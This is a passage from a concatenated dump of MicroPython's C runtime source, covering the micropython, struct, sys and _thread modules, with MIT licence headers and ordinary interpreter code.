MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/mpstate.h" #include "py/builtin.h" #include "py/stackctrl.h" #include "py/runtime.h" #include "py/gc.h" #include "py/mphal.h" // Various builtins specific to MicroPython runtime, // living in micropython module STATIC mp_obj_t mp_micropython_opt_level(size_t n_args, const mp_obj_t *args) { if (n_args == 0) { return MP_OBJ_NEW_SMALL_INT(MP_STATE_VM(mp_optimise_value)); } else { MP_STATE_VM(mp_optimise_value) = mp_obj_get_int(args[0]); return mp_const_none; } } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_micropython_opt_level_obj, 0, 1, mp_micropython_opt_level); #if MICROPY_PY_MICROPYTHON_MEM_INFO #if MICROPY_MEM_STATS STATIC mp_obj_t mp_micropython_mem_total(void) { return MP_OBJ_NEW_SMALL_INT(m_get_total_bytes_allocated()); } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_mem_total_obj, mp_micropython_mem_total); STATIC mp_obj_t mp_micropython_mem_current(void) { return MP_OBJ_NEW_SMALL_INT(m_get_current_bytes_allocated()); } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_mem_current_obj, mp_micropython_mem_current); STATIC mp_obj_t mp_micropython_mem_peak(void) { return MP_OBJ_NEW_SMALL_INT(m_get_peak_bytes_allocated()); } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_mem_peak_obj, mp_micropython_mem_peak); #endif mp_obj_t mp_micropython_mem_info(size_t n_args, const mp_obj_t *args) { (void)args; #if MICROPY_MEM_STATS mp_printf(&mp_plat_print, "mem: total=" UINT_FMT ", current=" UINT_FMT ", peak=" UINT_FMT "\n", (mp_uint_t)m_get_total_bytes_allocated(), (mp_uint_t)m_get_current_bytes_allocated(), (mp_uint_t)m_get_peak_bytes_allocated()); #endif #if MICROPY_STACK_CHECK mp_printf(&mp_plat_print, "stack: " UINT_FMT " out of " UINT_FMT "\n", mp_stack_usage(), (mp_uint_t)MP_STATE_THREAD(stack_limit)); #else mp_printf(&mp_plat_print, "stack: " UINT_FMT "\n", mp_stack_usage()); #endif #if MICROPY_ENABLE_GC gc_dump_info(); if (n_args == 1) { // arg given means dump gc allocation table gc_dump_alloc_table(); } #else (void)n_args; #endif return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_micropython_mem_info_obj, 0, 1, mp_micropython_mem_info); STATIC mp_obj_t mp_micropython_qstr_info(size_t n_args, const mp_obj_t *args) { (void)args; size_t n_pool, n_qstr, n_str_data_bytes, n_total_bytes; qstr_pool_info(&n_pool, &n_qstr, &n_str_data_bytes, &n_total_bytes); mp_printf(&mp_plat_print, "qstr pool: n_pool=%u, n_qstr=%u, n_str_data_bytes=%u, n_total_bytes=%u\n", n_pool, n_qstr, n_str_data_bytes, n_total_bytes); if (n_args == 1) { // arg given means dump qstr data qstr_dump_data(); } return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_micropython_qstr_info_obj, 0, 1, mp_micropython_qstr_info); #if MICROPY_STACK_CHECK STATIC mp_obj_t mp_micropython_stack_use(void) { return MP_OBJ_NEW_SMALL_INT(mp_stack_usage()); } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_stack_use_obj, mp_micropython_stack_use); #endif #endif // MICROPY_PY_MICROPYTHON_MEM_INFO #if MICROPY_ENABLE_GC STATIC mp_obj_t mp_micropython_heap_lock(void) { gc_lock(); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_heap_lock_obj, mp_micropython_heap_lock); STATIC mp_obj_t mp_micropython_heap_unlock(void) { gc_unlock(); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_heap_unlock_obj, mp_micropython_heap_unlock); #endif #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF && (MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE == 0) STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_alloc_emergency_exception_buf_obj, mp_alloc_emergency_exception_buf); #endif #if MICROPY_KBD_EXCEPTION STATIC mp_obj_t mp_micropython_kbd_intr(mp_obj_t int_chr_in) { mp_hal_set_interrupt_char(mp_obj_get_int(int_chr_in)); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_micropython_kbd_intr_obj, mp_micropython_kbd_intr); #endif #if MICROPY_ENABLE_SCHEDULER STATIC mp_obj_t mp_micropython_schedule(mp_obj_t function, mp_obj_t arg) { if (!mp_sched_schedule(function, arg)) { mp_raise_msg(&mp_type_RuntimeError, "schedule stack full"); } return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(mp_micropython_schedule_obj, mp_micropython_schedule); #endif STATIC const mp_rom_map_elem_t mp_module_micropython_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_micropython) }, { MP_ROM_QSTR(MP_QSTR_const), MP_ROM_PTR(&mp_identity_obj) }, { MP_ROM_QSTR(MP_QSTR_opt_level), MP_ROM_PTR(&mp_micropython_opt_level_obj) }, #if MICROPY_PY_MICROPYTHON_MEM_INFO #if MICROPY_MEM_STATS { MP_ROM_QSTR(MP_QSTR_mem_total), MP_ROM_PTR(&mp_micropython_mem_total_obj) }, { MP_ROM_QSTR(MP_QSTR_mem_current), MP_ROM_PTR(&mp_micropython_mem_current_obj) }, { MP_ROM_QSTR(MP_QSTR_mem_peak), MP_ROM_PTR(&mp_micropython_mem_peak_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_mem_info), MP_ROM_PTR(&mp_micropython_mem_info_obj) }, { MP_ROM_QSTR(MP_QSTR_qstr_info), MP_ROM_PTR(&mp_micropython_qstr_info_obj) }, #if MICROPY_STACK_CHECK { MP_ROM_QSTR(MP_QSTR_stack_use), MP_ROM_PTR(&mp_micropython_stack_use_obj) }, #endif #endif #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF && (MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE == 0) { MP_ROM_QSTR(MP_QSTR_alloc_emergency_exception_buf), MP_ROM_PTR(&mp_alloc_emergency_exception_buf_obj) }, #endif #if MICROPY_ENABLE_GC { MP_ROM_QSTR(MP_QSTR_heap_lock), MP_ROM_PTR(&mp_micropython_heap_lock_obj) }, { MP_ROM_QSTR(MP_QSTR_heap_unlock), MP_ROM_PTR(&mp_micropython_heap_unlock_obj) }, #endif #if MICROPY_KBD_EXCEPTION { MP_ROM_QSTR(MP_QSTR_kbd_intr), MP_ROM_PTR(&mp_micropython_kbd_intr_obj) }, #endif #if MICROPY_ENABLE_SCHEDULER { MP_ROM_QSTR(MP_QSTR_schedule), MP_ROM_PTR(&mp_micropython_schedule_obj) }, #endif }; STATIC MP_DEFINE_CONST_DICT(mp_module_micropython_globals, mp_module_micropython_globals_table); const mp_obj_module_t mp_module_micropython = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_micropython_globals, }; ================================================ FILE: micropython/source/py/modstruct.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/runtime.h" #include "py/builtin.h" #include "py/objtuple.h" #include "py/binary.h" #include "py/parsenum.h" #if MICROPY_PY_STRUCT /* This module implements most of character typecodes from CPython, with some extensions: O - (Pointer to) an arbitrary Python object. This is useful for callback data, etc. Note that you must keep reference to passed object in your Python application, otherwise it may be garbage-collected, and then when you get back this value from callback it may be invalid (and lead to crash). S - Pointer to a string (returned as a Python string). Note the difference from "Ns", - the latter says "in this place of structure is character data of up to N bytes length", while "S" means "in this place of a structure is a pointer to zero-terminated character data". */ STATIC char get_fmt_type(const char **fmt) { char t = **fmt; switch (t) { case '!': t = '>'; break; case '@': case '=': case '<': case '>': break; default: return '@'; } // Skip type char (*fmt)++; return t; } STATIC mp_uint_t get_fmt_num(const char **p) { const char *num = *p; uint len = 1; while (unichar_isdigit(*++num)) { len++; } mp_uint_t val = (mp_uint_t)MP_OBJ_SMALL_INT_VALUE(mp_parse_num_integer(*p, len, 10, NULL)); *p = num; return val; } STATIC uint calcsize_items(const char *fmt) { uint cnt = 0; while (*fmt) { int num = 1; if (unichar_isdigit(*fmt)) { num = get_fmt_num(&fmt); if (*fmt == 's') { num = 1; } } cnt += num; fmt++; } return cnt; } STATIC mp_obj_t struct_calcsize(mp_obj_t fmt_in) { const char *fmt = mp_obj_str_get_str(fmt_in); char fmt_type = get_fmt_type(&fmt); mp_uint_t size; for (size = 0; *fmt; fmt++) { mp_uint_t cnt = 1; if (unichar_isdigit(*fmt)) { cnt = get_fmt_num(&fmt); } if (*fmt == 's') { size += cnt; } else { mp_uint_t align; size_t sz = mp_binary_get_size(fmt_type, *fmt, &align); while (cnt--) { // Apply alignment size = (size + align - 1) & ~(align - 1); size += sz; } } } return MP_OBJ_NEW_SMALL_INT(size); } MP_DEFINE_CONST_FUN_OBJ_1(struct_calcsize_obj, struct_calcsize); STATIC mp_obj_t struct_unpack_from(size_t n_args, const mp_obj_t *args) { // unpack requires that the buffer be exactly the right size. // unpack_from requires that the buffer be "big enough". // Since we implement unpack and unpack_from using the same function // we relax the "exact" requirement, and only implement "big enough". const char *fmt = mp_obj_str_get_str(args[0]); char fmt_type = get_fmt_type(&fmt); uint num_items = calcsize_items(fmt); mp_obj_tuple_t *res = MP_OBJ_TO_PTR(mp_obj_new_tuple(num_items, NULL)); mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_READ); byte *p = bufinfo.buf; byte *end_p = &p[bufinfo.len]; mp_int_t offset = 0; if (n_args > 2) { // offset arg provided offset = mp_obj_get_int(args[2]); if (offset < 0) { // negative offsets are relative to the end of the buffer offset = bufinfo.len + offset; if (offset < 0) { mp_raise_ValueError("buffer too small"); } } p += offset; } for (uint i = 0; i < num_items;) { mp_uint_t sz = 1; if (unichar_isdigit(*fmt)) { sz = get_fmt_num(&fmt); } if (p + sz > end_p) { mp_raise_ValueError("buffer too small"); } mp_obj_t item; if (*fmt == 's') { item = mp_obj_new_bytes(p, sz); p += sz; res->items[i++] = item; } else { while (sz--) { item = mp_binary_get_val(fmt_type, *fmt, &p); res->items[i++] = item; } } fmt++; } return MP_OBJ_FROM_PTR(res); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(struct_unpack_from_obj, 2, 3, struct_unpack_from); STATIC void struct_pack_into_internal(mp_obj_t fmt_in, byte *p, byte* end_p, size_t n_args, const mp_obj_t *args) { const char *fmt = mp_obj_str_get_str(fmt_in); char fmt_type = get_fmt_type(&fmt); size_t i; for (i = 0; i < n_args;) { mp_uint_t sz = 1; if (*fmt == '\0') { // more arguments given than used by format string; CPython raises struct.error here break; } if (unichar_isdigit(*fmt)) { sz = get_fmt_num(&fmt); } if (p + sz > end_p) { mp_raise_ValueError("buffer too small"); } if (*fmt == 's') { mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[i++], &bufinfo, MP_BUFFER_READ); mp_uint_t to_copy = sz; if (bufinfo.len < to_copy) { to_copy = bufinfo.len; } memcpy(p, bufinfo.buf, to_copy); memset(p + to_copy, 0, sz - to_copy); p += sz; } else { while (sz--) { mp_binary_set_val(fmt_type, *fmt, args[i++], &p); } } fmt++; } } STATIC mp_obj_t struct_pack(size_t n_args, const mp_obj_t *args) { // TODO: "The arguments must match the values required by the format exactly." mp_int_t size = MP_OBJ_SMALL_INT_VALUE(struct_calcsize(args[0])); vstr_t vstr; vstr_init_len(&vstr, size); byte *p = (byte*)vstr.buf; memset(p, 0, size); byte *end_p = &p[size]; struct_pack_into_internal(args[0], p, end_p, n_args - 1, &args[1]); return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(struct_pack_obj, 1, MP_OBJ_FUN_ARGS_MAX, struct_pack); STATIC mp_obj_t struct_pack_into(size_t n_args, const mp_obj_t *args) { mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_WRITE); mp_int_t offset = mp_obj_get_int(args[2]); if (offset < 0) { // negative offsets are relative to the end of the buffer offset = (mp_int_t)bufinfo.len + offset; if (offset < 0) { mp_raise_ValueError("buffer too small"); } } byte *p = (byte *)bufinfo.buf; byte *end_p = &p[bufinfo.len]; p += offset; struct_pack_into_internal(args[0], p, end_p, n_args - 3, &args[3]); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(struct_pack_into_obj, 3, MP_OBJ_FUN_ARGS_MAX, struct_pack_into); STATIC const mp_rom_map_elem_t mp_module_struct_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_ustruct) }, { MP_ROM_QSTR(MP_QSTR_calcsize), MP_ROM_PTR(&struct_calcsize_obj) }, { MP_ROM_QSTR(MP_QSTR_pack), MP_ROM_PTR(&struct_pack_obj) }, { MP_ROM_QSTR(MP_QSTR_pack_into), MP_ROM_PTR(&struct_pack_into_obj) }, { MP_ROM_QSTR(MP_QSTR_unpack), MP_ROM_PTR(&struct_unpack_from_obj) }, { MP_ROM_QSTR(MP_QSTR_unpack_from), MP_ROM_PTR(&struct_unpack_from_obj) }, }; STATIC MP_DEFINE_CONST_DICT(mp_module_struct_globals, mp_module_struct_globals_table); const mp_obj_module_t mp_module_ustruct = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_struct_globals, }; #endif ================================================ FILE: micropython/source/py/modsys.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014-2017 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpstate.h" #include "py/nlr.h" #include "py/builtin.h" #include "py/objlist.h" #include "py/objtuple.h" #include "py/objstr.h" #include "py/objint.h" #include "py/objtype.h" #include "py/stream.h" #include "py/smallint.h" #include "py/runtime0.h" #include "py/runtime.h" #if MICROPY_PY_SYS #include "genhdr/mpversion.h" /// \module sys - system specific functions // defined per port; type of these is irrelevant, just need pointer extern struct _mp_dummy_t mp_sys_stdin_obj; extern struct _mp_dummy_t mp_sys_stdout_obj; extern struct _mp_dummy_t mp_sys_stderr_obj; #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES const mp_print_t mp_sys_stdout_print = {&mp_sys_stdout_obj, mp_stream_write_adaptor}; #endif /// \constant version - Python language version that this implementation conforms to, as a string STATIC const MP_DEFINE_STR_OBJ(version_obj, "3.4.0"); /// \constant version_info - Python language version that this implementation conforms to, as a tuple of ints #define I(n) MP_OBJ_NEW_SMALL_INT(n) // TODO: CPython is now at 5-element array, but save 2 els so far... STATIC const mp_obj_tuple_t mp_sys_version_info_obj = {{&mp_type_tuple}, 3, {I(3), I(4), I(0)}}; // sys.implementation object // this holds the MicroPython version STATIC const mp_obj_tuple_t mp_sys_implementation_version_info_obj = { {&mp_type_tuple}, 3, { I(MICROPY_VERSION_MAJOR), I(MICROPY_VERSION_MINOR), I(MICROPY_VERSION_MICRO) } }; #if MICROPY_PY_ATTRTUPLE STATIC const qstr impl_fields[] = { MP_QSTR_name, MP_QSTR_version }; STATIC MP_DEFINE_ATTRTUPLE( mp_sys_implementation_obj, impl_fields, 2, MP_ROM_QSTR(MP_QSTR_micropython), MP_ROM_PTR(&mp_sys_implementation_version_info_obj) ); #else STATIC const mp_rom_obj_tuple_t mp_sys_implementation_obj = { {&mp_type_tuple}, 2, { MP_ROM_QSTR(MP_QSTR_micropython), MP_ROM_PTR(&mp_sys_implementation_version_info_obj), } }; #endif #undef I #ifdef MICROPY_PY_SYS_PLATFORM /// \constant platform - the platform that MicroPython is running on STATIC const MP_DEFINE_STR_OBJ(platform_obj, MICROPY_PY_SYS_PLATFORM); #endif /// \function exit([retval]) /// Raise a `SystemExit` exception. If an argument is given, it is the /// value given to `SystemExit`. STATIC mp_obj_t mp_sys_exit(size_t n_args, const mp_obj_t *args) { mp_obj_t exc; if (n_args == 0) { exc = mp_obj_new_exception(&mp_type_SystemExit); } else { exc = mp_obj_new_exception_arg1(&mp_type_SystemExit, args[0]); } nlr_raise(exc); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_sys_exit_obj, 0, 1, mp_sys_exit); STATIC mp_obj_t mp_sys_print_exception(size_t n_args, const mp_obj_t *args) { #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES void *stream_obj = &mp_sys_stdout_obj; if (n_args > 1) { stream_obj = MP_OBJ_TO_PTR(args[1]); // XXX may fail } mp_print_t print = {stream_obj, mp_stream_write_adaptor}; mp_obj_print_exception(&print, args[0]); #else (void)n_args; mp_obj_print_exception(&mp_plat_print, args[0]); #endif return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_sys_print_exception_obj, 1, 2, mp_sys_print_exception); #if MICROPY_PY_SYS_EXC_INFO STATIC mp_obj_t mp_sys_exc_info(void) { mp_obj_t cur_exc = MP_OBJ_FROM_PTR(MP_STATE_VM(cur_exception)); mp_obj_tuple_t *t = MP_OBJ_TO_PTR(mp_obj_new_tuple(3, NULL)); if (cur_exc == MP_OBJ_NULL) { t->items[0] = mp_const_none; t->items[1] = mp_const_none; t->items[2] = mp_const_none; return MP_OBJ_FROM_PTR(t); } t->items[0] = MP_OBJ_FROM_PTR(mp_obj_get_type(cur_exc)); t->items[1] = cur_exc; t->items[2] = mp_const_none; return MP_OBJ_FROM_PTR(t); } MP_DEFINE_CONST_FUN_OBJ_0(mp_sys_exc_info_obj, mp_sys_exc_info); #endif STATIC mp_obj_t mp_sys_getsizeof(mp_obj_t obj) { return mp_unary_op(MP_UNARY_OP_SIZEOF, obj); } MP_DEFINE_CONST_FUN_OBJ_1(mp_sys_getsizeof_obj, mp_sys_getsizeof); STATIC const mp_rom_map_elem_t mp_module_sys_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_sys) }, { MP_ROM_QSTR(MP_QSTR_version), MP_ROM_PTR(&version_obj) }, { MP_ROM_QSTR(MP_QSTR_version_info), MP_ROM_PTR(&mp_sys_version_info_obj) }, { MP_ROM_QSTR(MP_QSTR_implementation), MP_ROM_PTR(&mp_sys_implementation_obj) }, #ifdef MICROPY_PY_SYS_PLATFORM { MP_ROM_QSTR(MP_QSTR_platform), MP_ROM_PTR(&platform_obj) }, #endif /// \constant byteorder - the byte order of the system ("little" or "big") #if MP_ENDIANNESS_LITTLE { MP_ROM_QSTR(MP_QSTR_byteorder), MP_ROM_QSTR(MP_QSTR_little) }, #else { MP_ROM_QSTR(MP_QSTR_byteorder), MP_ROM_QSTR(MP_QSTR_big) }, #endif #if MICROPY_PY_SYS_MAXSIZE #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_NONE // Maximum mp_int_t value is not representable as small int, so we have // little choice but to use MP_SMALL_INT_MAX. Apps also should be careful // to not try to compare sys.maxsize to some literal number (as this // number might not fit in available int size), but instead count number // of "one" bits in sys.maxsize. { MP_ROM_QSTR(MP_QSTR_maxsize), MP_ROM_INT(MP_SMALL_INT_MAX) }, #else { MP_ROM_QSTR(MP_QSTR_maxsize), MP_ROM_PTR(&mp_maxsize_obj) }, #endif #endif #if MICROPY_PY_SYS_EXIT // documented per-port { MP_ROM_QSTR(MP_QSTR_exit), MP_ROM_PTR(&mp_sys_exit_obj) }, #endif #if MICROPY_PY_SYS_STDFILES // documented per-port { MP_ROM_QSTR(MP_QSTR_stdin), MP_ROM_PTR(&mp_sys_stdin_obj) }, { MP_ROM_QSTR(MP_QSTR_stdout), MP_ROM_PTR(&mp_sys_stdout_obj) }, { MP_ROM_QSTR(MP_QSTR_stderr), MP_ROM_PTR(&mp_sys_stderr_obj) }, #endif #if MICROPY_PY_SYS_MODULES { MP_ROM_QSTR(MP_QSTR_modules), MP_ROM_PTR(&MP_STATE_VM(mp_loaded_modules_dict)) }, #endif #if MICROPY_PY_SYS_EXC_INFO { MP_ROM_QSTR(MP_QSTR_exc_info), MP_ROM_PTR(&mp_sys_exc_info_obj) }, #endif #if MICROPY_PY_SYS_GETSIZEOF { MP_ROM_QSTR(MP_QSTR_getsizeof), MP_ROM_PTR(&mp_sys_getsizeof_obj) }, #endif /* * Extensions to CPython */ { MP_ROM_QSTR(MP_QSTR_print_exception), MP_ROM_PTR(&mp_sys_print_exception_obj) }, }; STATIC MP_DEFINE_CONST_DICT(mp_module_sys_globals, mp_module_sys_globals_table); const mp_obj_module_t mp_module_sys = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_sys_globals, }; #endif ================================================ FILE: micropython/source/py/modthread.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George on behalf of Pycom Ltd * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/runtime.h" #include "py/stackctrl.h" #if MICROPY_PY_THREAD #include "py/mpthread.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_PRINT (1) #define DEBUG_printf DEBUG_printf #else // don't print debugging info #define DEBUG_PRINT (0) #define DEBUG_printf(...) (void)0 #endif /****************************************************************/ // Lock object STATIC const mp_obj_type_t mp_type_thread_lock; typedef struct _mp_obj_thread_lock_t { mp_obj_base_t base; mp_thread_mutex_t mutex; volatile bool locked; } mp_obj_thread_lock_t; STATIC mp_obj_thread_lock_t *mp_obj_new_thread_lock(void) { mp_obj_thread_lock_t *self = m_new_obj(mp_obj_thread_lock_t); self->base.type = &mp_type_thread_lock; mp_thread_mutex_init(&self->mutex); self->locked = false; return self; } STATIC mp_obj_t thread_lock_acquire(size_t n_args, const mp_obj_t *args) { mp_obj_thread_lock_t *self = MP_OBJ_TO_PTR(args[0]); bool wait = true; if (n_args > 1) { wait = mp_obj_get_int(args[1]); // TODO support timeout arg } MP_THREAD_GIL_EXIT(); int ret = mp_thread_mutex_lock(&self->mutex, wait); MP_THREAD_GIL_ENTER(); if (ret == 0) { return mp_const_false; } else if (ret == 1) { self->locked = true; return mp_const_true; } else { mp_raise_OSError(-ret); } } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(thread_lock_acquire_obj, 1, 3, thread_lock_acquire); STATIC mp_obj_t thread_lock_release(mp_obj_t self_in) { mp_obj_thread_lock_t *self = MP_OBJ_TO_PTR(self_in); if (!self->locked) { mp_raise_msg(&mp_type_RuntimeError, NULL); } self->locked = false; MP_THREAD_GIL_EXIT(); mp_thread_mutex_unlock(&self->mutex); MP_THREAD_GIL_ENTER(); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(thread_lock_release_obj, thread_lock_release); STATIC mp_obj_t thread_lock_locked(mp_obj_t self_in) { mp_obj_thread_lock_t *self = MP_OBJ_TO_PTR(self_in); return mp_obj_new_bool(self->locked); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(thread_lock_locked_obj, thread_lock_locked); STATIC mp_obj_t thread_lock___exit__(size_t n_args, const mp_obj_t *args) { (void)n_args; // unused return thread_lock_release(args[0]); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(thread_lock___exit___obj, 4, 4, thread_lock___exit__); STATIC const mp_rom_map_elem_t thread_lock_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_acquire), MP_ROM_PTR(&thread_lock_acquire_obj) }, { MP_ROM_QSTR(MP_QSTR_release), MP_ROM_PTR(&thread_lock_release_obj) }, { MP_ROM_QSTR(MP_QSTR_locked), MP_ROM_PTR(&thread_lock_locked_obj) }, { MP_ROM_QSTR(MP_QSTR___enter__), MP_ROM_PTR(&thread_lock_acquire_obj) }, { MP_ROM_QSTR(MP_QSTR___exit__), MP_ROM_PTR(&thread_lock___exit___obj) }, }; STATIC MP_DEFINE_CONST_DICT(thread_lock_locals_dict, thread_lock_locals_dict_table); STATIC const mp_obj_type_t mp_type_thread_lock = { { &mp_type_type }, .name = MP_QSTR_lock, .locals_dict = (mp_obj_dict_t*)&thread_lock_locals_dict, }; /****************************************************************/ // _thread module STATIC size_t thread_stack_size = 0; STATIC mp_obj_t mod_thread_get_ident(void) { return mp_obj_new_int_from_uint((uintptr_t)mp_thread_get_state()); } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_thread_get_ident_obj, mod_thread_get_ident); STATIC mp_obj_t mod_thread_stack_size(size_t n_args, const mp_obj_t *args) { mp_obj_t ret = mp_obj_new_int_from_uint(thread_stack_size); if (n_args == 0) { thread_stack_size = 0; } else { thread_stack_size = mp_obj_get_int(args[0]); } return ret; } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_thread_stack_size_obj, 0, 1, mod_thread_stack_size); typedef struct _thread_entry_args_t { mp_obj_dict_t *dict_locals; mp_obj_dict_t *dict_globals; size_t stack_size; mp_obj_t fun; size_t n_args; size_t n_kw; mp_obj_t args[]; } thread_entry_args_t; STATIC void *thread_entry(void *args_in) { // Execution begins here for a new thread. We do not have the GIL. thread_entry_args_t *args = (thread_entry_args_t*)args_in; mp_state_thread_t ts; mp_thread_set_state(&ts); mp_stack_set_top(&ts + 1); // need to include ts in root-pointer scan mp_stack_set_limit(args->stack_size); // set locals and globals from the calling context mp_locals_set(args->dict_locals); mp_globals_set(args->dict_globals); MP_THREAD_GIL_ENTER(); // signal that we are set up and running mp_thread_start(); // TODO set more thread-specific state here: // mp_pending_exception? (root pointer) // cur_exception (root pointer) DEBUG_printf("[thread] start ts=%p args=%p stack=%p\n", &ts, &args, MP_STATE_THREAD(stack_top)); nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { mp_call_function_n_kw(args->fun, args->n_args, args->n_kw, args->args); nlr_pop(); } else { // uncaught exception // check for SystemExit mp_obj_base_t *exc = (mp_obj_base_t*)nlr.ret_val; if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(exc->type), MP_OBJ_FROM_PTR(&mp_type_SystemExit))) { // swallow exception silently } else { // print exception out mp_printf(&mp_plat_print, "Unhandled exception in thread started by "); mp_obj_print_helper(&mp_plat_print, args->fun, PRINT_REPR); mp_printf(&mp_plat_print, "\n"); mp_obj_print_exception(&mp_plat_print, MP_OBJ_FROM_PTR(exc)); } } DEBUG_printf("[thread] finish ts=%p\n", &ts); // signal that we are finished mp_thread_finish(); 